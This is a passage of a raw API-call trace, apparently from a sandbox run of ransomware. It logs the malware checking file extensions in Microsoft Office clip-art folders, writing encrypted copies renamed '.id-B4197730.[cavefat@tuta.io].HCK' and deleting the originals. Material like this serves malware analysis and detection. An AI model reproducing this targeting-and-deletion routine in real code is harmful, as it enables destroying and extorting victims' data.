[0178.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.788] lstrlenW (lpString=".doc") returned 4 [0178.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.788] lstrlenW (lpString=".docx") returned 5 [0178.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.788] lstrlenW (lpString=".pdf") returned 4 [0178.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.788] lstrlenW (lpString=".xls") returned 4 [0178.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.788] lstrlenW (lpString=".xlsx") returned 5 [0178.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.788] lstrlenW (lpString=".ppt") returned 4 [0178.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.788] lstrlenW (lpString=".zip") returned 4 [0178.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.788] lstrlenW (lpString=".rar") returned 4 [0178.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.788] lstrlenW (lpString=".bz2") returned 4 [0178.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.788] lstrlenW (lpString=".7z") returned 3 [0178.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.788] lstrlenW (lpString=".dbf") returned 4 [0178.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".1cd") returned 4 [0178.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".jpg") returned 4 [0178.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".doc") returned 4 [0178.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString=".docx") returned 5 [0178.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.789] lstrlenW (lpString=".pdf") returned 4 [0178.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString=".xls") returned 4 [0178.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.789] lstrlenW (lpString=".xlsx") returned 5 [0178.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.789] lstrlenW (lpString=".ppt") returned 4 [0178.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".zip") returned 4 [0178.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.789] lstrlenW (lpString=".rar") returned 4 [0178.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString=".bz2") returned 4 [0178.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString=".7z") returned 3 [0178.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".dbf") returned 4 [0178.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".1cd") returned 4 [0178.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 [0178.789] lstrlenW (lpString=".jpg") returned 4 [0178.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.789] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.789] lstrlenW (lpString="NA02126_.WMF") returned 12 [0178.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.791] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31824) returned 1 [0178.791] CloseHandle (hObject=0x368) returned 1 [0178.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf")) returned 0x220 [0178.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.798] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.798] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.803] GetLastError () returned 0x0 [0178.803] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7c50, lpOverlapped=0x0) returned 1 [0178.806] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7c60, lpOverlapped=0x0) returned 1 [0178.807] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.807] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.807] SetEndOfFile (hFile=0x39c) returned 1 [0178.808] CloseHandle (hObject=0x39c) returned 1 [0178.809] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.809] SetEndOfFile (hFile=0x2fc) returned 1 [0178.812] CloseHandle (hObject=0x2fc) returned 1 [0178.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf")) returned 1 [0178.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.813] lstrlenW (lpString=".doc") returned 4 [0178.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".docx") returned 5 [0178.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.814] lstrlenW (lpString=".pdf") returned 4 [0178.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".xls") returned 4 [0178.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.814] lstrlenW (lpString=".xlsx") returned 5 [0178.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.814] lstrlenW (lpString=".ppt") returned 4 [0178.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString=".zip") returned 4 [0178.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.814] lstrlenW (lpString=".rar") returned 4 [0178.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".bz2") returned 4 [0178.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".7z") returned 3 [0178.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString=".dbf") returned 4 [0178.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString=".1cd") returned 4 [0178.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString=".jpg") returned 4 [0178.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString=".doc") returned 4 [0178.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".docx") returned 5 [0178.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.814] lstrlenW (lpString=".pdf") returned 4 [0178.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".xls") returned 4 [0178.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.814] lstrlenW (lpString=".xlsx") returned 5 [0178.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.814] lstrlenW (lpString=".ppt") returned 4 [0178.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.814] lstrlenW (lpString=".zip") returned 4 [0178.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.814] lstrlenW (lpString=".rar") returned 4 [0178.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".bz2") returned 4 [0178.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.814] lstrlenW (lpString=".7z") returned 3 [0178.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.815] lstrlenW (lpString=".dbf") returned 4 [0178.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.815] lstrlenW (lpString=".1cd") returned 4 [0178.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 68 [0178.815] lstrlenW (lpString=".jpg") returned 4 [0178.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.815] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.815] lstrlenW (lpString="NA02356_.WMF") returned 12 [0178.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.818] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3604) returned 1 [0178.818] CloseHandle (hObject=0x300) returned 1 [0178.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf")) returned 0x220 [0178.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.822] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.822] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.826] GetLastError () returned 0x0 [0178.826] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe14, lpOverlapped=0x0) returned 1 [0178.827] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe20, lpOverlapped=0x0) returned 1 [0178.828] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.828] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.828] SetEndOfFile (hFile=0x39c) returned 1 [0178.832] CloseHandle (hObject=0x39c) returned 1 [0178.833] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.833] SetEndOfFile (hFile=0x300) returned 1 [0178.836] CloseHandle (hObject=0x300) returned 1 [0178.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf")) returned 1 [0178.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.838] lstrlenW (lpString=".doc") returned 4 [0178.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.838] lstrlenW (lpString=".docx") returned 5 [0178.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.838] lstrlenW (lpString=".pdf") returned 4 [0178.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.838] lstrlenW (lpString=".xls") returned 4 [0178.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.838] lstrlenW (lpString=".xlsx") returned 5 [0178.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.838] lstrlenW (lpString=".ppt") returned 4 [0178.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.838] lstrlenW (lpString=".zip") returned 4 [0178.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.838] lstrlenW (lpString=".rar") returned 4 [0178.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.838] lstrlenW (lpString=".bz2") returned 4 [0178.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString=".7z") returned 3 [0178.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.839] lstrlenW (lpString=".dbf") returned 4 [0178.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.839] lstrlenW (lpString=".1cd") returned 4 [0178.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.839] lstrlenW (lpString=".jpg") returned 4 [0178.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.839] lstrlenW (lpString=".doc") returned 4 [0178.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString=".docx") returned 5 [0178.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.839] lstrlenW (lpString=".pdf") returned 4 [0178.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString=".xls") returned 4 [0178.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.839] lstrlenW (lpString=".xlsx") returned 5 [0178.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.839] lstrlenW (lpString=".ppt") returned 4 [0178.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.839] lstrlenW (lpString=".zip") returned 4 [0178.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.839] lstrlenW (lpString=".rar") returned 4 [0178.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString=".bz2") returned 4 [0178.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.839] lstrlenW (lpString=".7z") returned 3 [0178.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.840] lstrlenW (lpString=".dbf") returned 4 [0178.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.840] lstrlenW (lpString=".1cd") returned 4 [0178.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 68 [0178.840] lstrlenW (lpString=".jpg") returned 4 [0178.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.840] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.840] lstrlenW (lpString="NA02371_.WMF") returned 12 [0178.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.849] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3188) returned 1 [0178.849] CloseHandle (hObject=0x39c) returned 1 [0178.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf")) returned 0x220 [0178.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.854] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.854] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.858] GetLastError () returned 0x0 [0178.858] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc74, lpOverlapped=0x0) returned 1 [0178.859] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc80, lpOverlapped=0x0) returned 1 [0178.859] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.860] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.860] SetEndOfFile (hFile=0x368) returned 1 [0178.861] CloseHandle (hObject=0x368) returned 1 [0178.861] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.861] SetEndOfFile (hFile=0x2fc) returned 1 [0178.862] CloseHandle (hObject=0x2fc) returned 1 [0178.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf")) returned 1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".doc") returned 4 [0178.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".docx") returned 5 [0178.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") 